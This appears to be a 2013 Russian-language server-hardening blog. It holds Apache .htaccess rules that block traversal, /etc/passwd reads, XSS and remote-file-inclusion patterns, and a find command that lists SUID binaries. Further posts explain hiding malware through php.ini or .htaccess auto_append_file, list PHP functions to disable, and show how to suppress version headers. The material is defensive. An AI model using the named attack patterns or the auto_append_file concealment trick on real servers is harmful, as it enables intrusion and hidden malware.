RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [NC]
RewriteRule .* - [F] 


#Remote File Inclusion Protection
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+ [NC]
RewriteRule .* - [F]

#XSS Protection
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ http://frost.de/trap.php [R,L]
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC]
RewriteRule .* - [F]

##Some else
RewriteCond %{QUERY_STRING} etc/passwd [NC,OR]
RewriteCond %{QUERY_STRING} echo.*kae  [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini  [NC,OR]
RewriteCond %{QUERY_STRING} \=\\%27$   [NC,OR]
RewriteCond %{QUERY_STRING} \=\\\'$    [NC,OR]
RewriteCond %{QUERY_STRING} \.\./      [NC]
RewriteRule .* - [F]
RedirectMatch 403 (base64|crossdomain|localhost|wwwroot|e107\_)
RedirectMatch 403 (eval\(|\_vti\_|\(null\)|echo|config\.xml)
 
 
## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]


.htaccess for Joomla:
http://docs.joomla.org/Htaccess_examples_%28security%29

понедельник, 15 июля 2013 г.

Как найти все SUID программы на машине


Все SUID и SGID программы:
find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
Только SUID ROOT:
find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;
find / -type f -perm +6000 -exec ls -l {} \; 


суббота, 13 июля 2013 г.

Спрятать inject

Папка cgi-bin чаще всего находится вне каталога htdocs и потому остается без внимания. На самом деле именно она нередко становится местом для хостинга малвари. К примеру, в ней легко может оказаться файл php.ini, содержащий строчку вроде:

 auto_append_file = "/home/user/USER/
 cgi-bin/security.cgi
 #php in .htaccess
 php_value auto_append_file /путь/к/вирусу 

Таким образом к любому PHP-скрипту автоматически добавляется содержимое сценария security.cgi, в котором может быть что угодно. При этом нигде в основных файлах проекта, даже при тщательнейшем изучении, признаков малвари ты не найдешь.

Опасные функции PHP

Рекомендуется отключить следующие PHP функции: 

exec, system, passthru, readfile, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, parse_ini_file, show_source, curl_exec.

так как именно они чаще всего применяются во вредоносных скриптах.

Для того чтобы это сделать, необходимо привести раздел disable_functions файла php.ini к следующему виду:
 

disable_functions = "exec,system,passthru,readfile,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,parse_ini_file,show_source,curl_exec,pcntl_exec,expect_popen"

service php-fpm restart 

Если ваши сайты (Joomla) используют ini файлы, то parse_ini_file лучше не отключать.

Также рекомендуется отключить чтение и использование удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen off и allow_url_include off в файле php.ini

Описание указанных функций:

exec — вызов внешней программы
ini_get — получает значение опции конфигурации
ini_get_all — получает все опции конфигурации
parse_ini_file — разбирает файл конфигурации
passthru — вызов внешней программы и вывод «сырых» результата на дисплей
php_uname — возвращает информацию об ОС, на которой php был построен
popen — открывает файловый указатель процесса
proc_open — выполняет команду и открывает файловый указатель для ввода/вывода
shell_exec — выполняет команду в оболочке/shell и возвращает полный вывод в виде строки
show_source — вывод исходного текста текущей веб страницы
system — вызов внешней программы и вывод результата на дисплей
Также стоит подумать над отключением таких функций:
diskfreespace — псевдоним функции disk_free_space
disk_free_space — получить размер доступного пространства в каталоге
disk_total_space — возвращает общий размер диска
eval — вычисляет строку, заданную в code_str, как код PHP (eval ( string code_str))
fileperms — получить информацию о правах на файл
fopen — открывает файл или URL
opendir — возвращает дескриптор каталога для последующего использования с функциями closedir(), readdir() и rewinddir()
phpinfo — выводит всю информацию об php, Ос
phpversion — выводит версию php
posix_getpwuid — возвращает информацию о пользователе по его user id
posix_getgrgid — возвращает информацию о группе по её group id
posix_uname — получает системное имя, возвращает хэш строк с информацией о системе

пятница, 12 июля 2013 г.

История действий в ОС - Process Monitor

sysinternals.com - нам потребуется Process Monitor (procmon.exe). Это чрезвычайно удобная и полезная тулза. Мониторит активность, связанную с файловой системой, реестром, взаимодействием между процессами и по сети

вторник, 2 июля 2013 г.

Информация о сервере

Есть немаловажный момент связанный с безопасностью сервера, а из чего следовательно и расположенных на нём сайтов… Касается он информации отдаваемой в заголовках web-сервера Apache. Рассмотрим самые интересные, а зачастую и исчерпывающе-информативные заголовки: Server и X-Powered-By.
Заголовок Server может поведать нам о сервере, операционной системе, версии PHP и даже некоторых модулях. Думаю, что пагубность такой информации объяснять не нужно, ибо совершенного софта не бывает.
Заголовок X-Powered-By может наделить нас знанием о версии PHP например. Опять нам это ненужно.

В реальности мы видим это таким:
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with 
Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g     X-Powered-By: PHP/5.2.6
Есть несколько путей решения проблемы:
  • пересборка Apache с изменённым параметром AP_SERVER_BASEPRODUCT в файле include/ap_release.h
  • изменение директивы SecServerSignature при установленном mod_security
  • правка заголовков при помощи mod_headers
  • редактирование файлов конфигурации Apache и PHP

Мы остановимся на самом простом и универсальном варианте – редактирование файлов конфигурации Apache и PHP.
Для изменения заголовка Server, следует указать Apache, что именно там стоит выводить. Откроем на редактирование файл /etc/apache2/conf.d/security и найдём следующую строку:
ServerTokens Full
В комментариях написаны различные варианты значений, на мой взгляд достаточно указать следующее:
ServerTokens Prod
В таком случае заголовок Server будет отображать только лишь название сервера – Apache.
Рекомендуется так же установить следующие директивы:
ServerSignature Off     
TraceEnable Off
ServerSignature отвечает за отображение информации о сервере при ошибках, а TraceEnable за отключение режима TRACE, при котором возможны XSS (Cross-Site Scripting) атаки.

Чтобы избавиться от заголовка X-Powered-By, следует открыть на редактирование файл php.ini и найти в нём следующую строку:
expose_php = On
Соответственно заменить её нужно на:
expose_php = Off
После всех правок нужно перезагрузить сервер:
sudo /etc/init.d/apache2 restart
Ну вот, теперь мы стали на шаг ближе к безопасному серверу.

Если вы хотите добавить к ответу сервера какие-либо дополнительные данные, воспользуйтесь возможностями mod_headers, добавив в httpd.conf

Header set MyHeader "Hello"

Теперь в заголовке ответа от сервера вы увидите MyHeader: Hello

Алсо You can make modifications to change the web server identity in two places in the source code. One is in the include file httpd.h in Apache 1 (ap_release.h in Apache 2) where the version macros are defined: #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1.3.29" #define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION #define SERVER_PRODUCT SERVER_BASEPRODUCT #define SERVER_REVISION SERVER_BASEREVISION #define SERVER_VERSION SERVER_PRODUCT "/" SERVER_REVISION